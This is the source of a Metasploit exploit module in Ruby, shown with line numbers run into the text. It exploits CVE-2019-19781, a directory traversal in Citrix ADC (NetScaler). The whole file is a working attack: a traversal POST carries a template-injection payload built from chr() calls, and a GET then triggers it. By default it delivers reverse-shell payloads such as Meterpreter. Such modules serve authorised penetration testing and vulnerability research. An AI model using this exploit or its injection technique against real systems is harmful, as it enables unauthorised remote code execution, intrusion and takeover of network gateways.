Path: blob/master/modules/exploits/freebsd/http/citrix_dir_traversal_rce.rb
33206 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = ExcellentRanking89prepend Msf::Exploit::Remote::AutoCheck10include Msf::Exploit::Remote::HttpClient11include Msf::Exploit::Remote::CheckModule12include Msf::Exploit::FileDropper13include Msf::Module::Deprecated1415moved_from 'exploit/linux/http/citrix_dir_traversal_rce'1617def initialize(info = {})18super(19update_info(20info,21'Name' => 'Citrix ADC (NetScaler) Directory Traversal RCE',22'Description' => %q{23This module exploits a directory traversal in Citrix Application Delivery Controller (ADC), aka24NetScaler, and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0, to execute an arbitrary command payload.25},26'Author' => [27'Mikhail Klyuchnikov', # Discovery28'Project Zero India', # PoC used by this module29'TrustedSec', # PoC used by this module30'James Brytan', # PoC contributed independently31'James Smith', # PoC contributed independently32'Marisa Mack', # PoC contributed independently33'Rob Vinson', # PoC contributed independently34'Sergey Pashevkin', # PoC contributed independently35'Steven Laura', # PoC contributed independently36'mekhalleh (RAMELLA Sébastien)' # Module author (https://www.pirates.re/)37],38'References' => [39['CVE', '2019-19781'],40['EDB', '47901'],41['EDB', '47902'],42['URL', 'http://web.archive.org/web/20220608001448/https://support.citrix.com/article/CTX267027'],43['URL', 'http://web.archive.org/web/20200707202522/https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/'],44['URL', 'https://swarm.ptsecurity.com/remote-code-execution-in-citrix-adc/']45],46'DisclosureDate' => '2019-12-17',47'License' => MSF_LICENSE,48'Privileged' => false,49'Targets' => [50[51'Python',52{53'Platform' => 'python',54'Arch' => ARCH_PYTHON,55'Type' => :python,56'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }57}58],59[60'Unix Command',61{62'Platform' => 'unix',63'Arch' => ARCH_CMD,64'Type' => :unix_cmd,65'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' }66}67]68],69'DefaultTarget' => 0,70'DefaultOptions' => {71'CheckModule' => 'auxiliary/scanner/http/citrix_dir_traversal',72'HttpClientTimeout' => 3.573},74'Notes' => {75'AKA' => ['Shitrix'],76'Stability' => [CRASH_SAFE],77'Reliability' => [REPEATABLE_SESSION],78'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]79}80)81)8283register_options([84OptString.new('TARGETURI', [true, 'Base path', '/'])85])86end8788def cmd_unix_generic?89datastore['PAYLOAD'] == 'cmd/unix/generic'90end9192def exploit93print_status("Yeeting #{datastore['PAYLOAD']} payload at #{peer}")94vprint_status("Generated payload: #{payload.encoded}")9596case target['Type']97when :python98execute_command(%(/var/python/bin/python2 -c "#{payload.encoded}"))99when :unix_cmd100if (res = execute_command(payload.encoded)) && cmd_unix_generic?101print_line(res.get_html_document.text.gsub(/undef error - Attempt to bless.*/m, ''))102end103end104end105106def execute_command(cmd, _opts = {})107filename = rand_text_alpha(8..42)108nonce = rand_text_alpha(8..42)109110res = send_request_cgi(111'method' => 'POST',112'uri' => normalize_uri(target_uri.path, '/vpn/../vpns/portal/scripts/newbm.pl'),113'headers' => {114'NSC_USER' => "../../../netscaler/portal/templates/#{filename}",115'NSC_NONCE' => nonce116},117'vars_post' => {118'url' => rand_text_alpha(8..42),119'title' => "[%template.new({'BLOCK'='print readpipe(#{chr_payload(cmd)})'})%]"120}121)122123unless res && res.code == 200124print_error('No response to POST newbm.pl request')125return126end127128res = send_request_cgi(129'method' => 'GET',130'uri' => normalize_uri(target_uri.path, "/vpn/../vpns/portal/#{filename}.xml"),131'headers' => {132'NSC_USER' => rand_text_alpha(8..42),133'NSC_NONCE' => nonce134},135'partial' => true136)137138unless res && res.code == 200139print_warning("No response to GET #{filename}.xml request")140end141142register_files_for_cleanup(143"/netscaler/portal/templates/#{filename}.xml",144"/var/tmp/netscaler/portal/templates/#{filename}.xml.ttc2"145)146147res148end149150def chr_payload(cmd)151cmd.each_char.map { |c| "chr(#{c.ord})" }.join('.')152end153154end155156157